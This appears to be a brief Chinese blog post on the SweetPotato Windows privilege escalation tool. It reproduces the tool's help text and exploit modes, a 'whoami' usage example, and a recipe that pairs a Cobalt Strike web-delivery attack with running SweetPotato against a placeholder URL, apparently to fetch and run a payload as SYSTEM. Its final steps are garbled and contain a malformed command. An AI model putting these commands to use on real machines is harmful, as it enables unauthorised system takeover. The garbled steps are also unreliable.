Windows提权之SweetPotato

SweetPotato by @_EthicalChaos_  Orignal RottenPotato code and exploit by @foxglovesec  Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery  PrintSpoofer discovery and original exploit by @itm4n  EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam  -c, --clsid=VALUE          CLSID (default BITS:                               4991D34B-80A1-4291-83B6-3328366B9097)  -m, --method=VALUE         Auto,User,Thread (default Auto)  -p, --prog=VALUE           Program to launch (default cmd.exe)  -a, --args=VALUE           Arguments for program (default null)  -e, --exploit=VALUE        Exploit mode                               [DCOM|WinRM|EfsRpc|PrintSpoofer(default)]  -l, --listenPort=VALUE     COM server listen port (default 6666)  -h, --help                 Display this help

SweetPotato.exe -a "whoami"

Step 1: 使用cs启动一个web攻击的简体Step 2: 执行以下命令SweetPotato.exe www.xxx.com/xxx.xxx